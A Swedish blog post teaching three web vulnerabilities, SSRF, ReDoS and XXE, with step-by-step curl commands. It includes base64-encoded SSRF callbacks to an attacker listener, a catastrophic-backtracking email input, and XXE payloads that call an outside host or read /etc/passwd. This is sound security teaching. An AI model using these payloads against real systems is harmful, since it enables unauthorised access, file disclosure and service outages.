Skip to main content
  1. Blogposts/

🔐💣📂 tre farliga sĂ€kerhetsbrister: ssrf, redos & xxe – en praktisk guide

·570 words·3 mins· loading · · ·
Rasmus
Author
Rasmus
Att dela en ide eller tvÄ kan vara bra för hjÀrnan
Table of Contents

WebbsĂ€kerhet Ă€r som en evig katt-och-rattalek mellan utvecklare och hackare. Idag ska vi undersöka tre vanliga men potentiellt förödande sĂ€kerhetshĂ„l som kan gömma sig i din applikation – och hur du enkelt kan testa dem sjĂ€lv.

🔐 Server-Side Request Forgery (SSRF) – NĂ€r din server blir en marionettdocka
#

TÀnk dig att du ber en kompis hÀmta nÄgot frÄn ett lÄst förrÄd. Men istÀllet för att frÄga dig om lov, tar din vÀn order direkt frÄn vem som helst som verkar trovÀrdig. UngefÀr sÄ fungerar SSRF.

Varför Àr SSRF farligt?
#

  • Portskanning av interna nĂ€tverk – Som att dela ut en karta över alla dörrar i ditt hus
  • LĂ€ckage av kĂ€nslig data – Metadata, filer eller till och med lösenord
  • Möjlighet till RCE (Remote Code Execution) – Den ultimata jackpotten för en angripare

đŸ§Ș Praktisk SSRF-test: Steg för steg
#

  1. Hitta API-endpointen

    curl http://<MÅL-IP>:3000/api/userinfo
    

    Svar: “id-parametern saknas” – Bingo!

  2. SĂ€tt upp din egen lyssnare

    nc -nlvp 4444
    
  3. Testa direktanslutning

    curl "http://<MÅL-IP>:3000/api/userinfo?id=http://<DIN IP>:4444"
    

    Funkar inte? API:t Ă€r lite smartare Ă€n sĂ„…

  4. Base64-koda din URL – Det magiska tricket!

    echo "http://<DIN IP>:4444" | tr -d '\n' | base64
    

    Resultat: aHR0cDovLzEwLjEwLjE0LjEyMjo0NDQ0

  5. Skicka den kodade parametern

    curl "http://<MÅL-IP>:3000/api/userinfo?id=aHR0cDovLzEwLjEwLjE4LjEyMjo0NDQ0"
    

Voilà! Din lyssnare fÄr nu en GET-förfrÄgan frÄn servern.

🧠 Viktiga lĂ€rdomar om SSRF
#

  • Base64-kodning kan kringgĂ„ grundlĂ€ggande validering
  • Alla externa anrop frĂ„n servern bör strikt kontrolleras
  • Metadata-tjĂ€nster (som AWS/Azure) Ă€r vanliga mĂ„l

🧠 Regular Expression Denial of Service (ReDoS) – NĂ€r regex blir din fiende
#

Har du nÄgonsin fastnat i ett oÀndligt samtal med nÄgon som inte kan bestÀmma sig? Precis sÄ beter sig servern vid en ReDoS-attack.

🔍 SĂ„ fungerar ReDoS
#

  1. En dÄligt skriven regex (t.ex. för e-postvalidering)
  2. Angriparen skickar en speciellt konstruerad lÄng strÀng
  3. Servern fastnar i backtracking-loopar
  4. CPU:n gÄr bananas och tjÀnsten blir lÄngsam eller kraschar

📍 Praktiskt exempel: E-postvalidering som gĂ„r snett
#

API-endpoint:

curl "http://<MÅL-IP>:3000/api/check-email?email=test@test.com"

Regex vi fÄr tillbaka:

/^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/

Denna regex har flera problematiska upprepande grupper.

Test med “ond” strĂ€ng:

curl "http://<MÅL-IP>:3000/api/check-email?email=jjjjjjjjjjjj@cccccccccccccc.555555555555555555555555555."

MÀrk hur svarstiden ökar dramatiskt!

đŸ§Ș Slutsats om ReDoS
#

  • Undvik nĂ€stlade upprepningar i regex-mönster
  • AnvĂ€nd timeout för regex-operationer
  • ÖvervĂ€g enklare valideringsmetoder dĂ€r möjligt

📂 XML External Entity (XXE) – NĂ€r XML blir en trojansk hĂ€st
#

Att lita pĂ„ XML-inmatning Ă€r som att ta emot en chokladask frĂ„n en frĂ€mling – den kan innehĂ„lla allt frĂ„n godis till dynamit.

💣 Steg-för-steg XXE-exploatering
#

  1. Identifiera XML-inmatning

    <?xml version="1.0"?>
    <root>
      <email>test@test.com</email>
      <password>P@ssw0rd123</password>
    </root>
    
  2. Skapa skadlig XML med extern entitet

    <?xml version="1.0"?>
    <!DOCTYPE pwn [
      <!ENTITY somename SYSTEM "http://<DIN_IP>:4444">
    ]>
    <root>
      <email>&somename;</email>
      <password>P@ssw0rd123</password>
    </root>
    
  3. Starta lyssnare och skicka payload

    nc -nlvp 4444
    
    curl -X POST http://<MÅL>:3001/api/login -d '<?xml version="1.0"?><!DOCTYPE pwn [<!ENTITY somename SYSTEM "http://<DIN_IP>:4444">]><root><email>&somename;</email><password>P@ssw0rd123</password></root>'
    

FĂ„r du en anslutning pĂ„ din lyssnare – grattis, du har hittat en XXE-sĂ„rbarhet!

📌 Avancerade XXE-tekniker:
#

  • LĂ€sa lokala filer: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • Server Side Request Forgery via XML
  • Blind XXE med out-of-band-tekniker

🚀 Sammanfattning & NĂ€sta Steg
#

Vi har tÀckt tre kraftfulla sÀkerhetsbrister idag:

  1. SSRF: Servern gör oönskade externa anrop 💀
  2. ReDoS: Regex gör servern extremt lĂ„ngsam đŸąđŸ’„
  3. XXE: XML blir en farlig ingĂ„ngsport đŸŽ›ïžâžĄïžđŸ“‚

Vad kan du göra nu? ✔ Testa dina egna API:er med dessa tekniker (med tillstĂ„nd!) ✔ Granska kodbasen efter dessa sĂ„rbarheter ✔ Implementera strikta regler för input-validering

Kom ihÄg: Den bÀsta sÀkerheten kommer frÄn att förstÄ hur attacker fungerar, inte bara frÄn att följa checklistor.

Vilken av dessa sĂ„rbarheter tror du Ă€r mest underskattad i dagens webbapplikationer? Dela dina tankar i kommentarerna! 👇🔒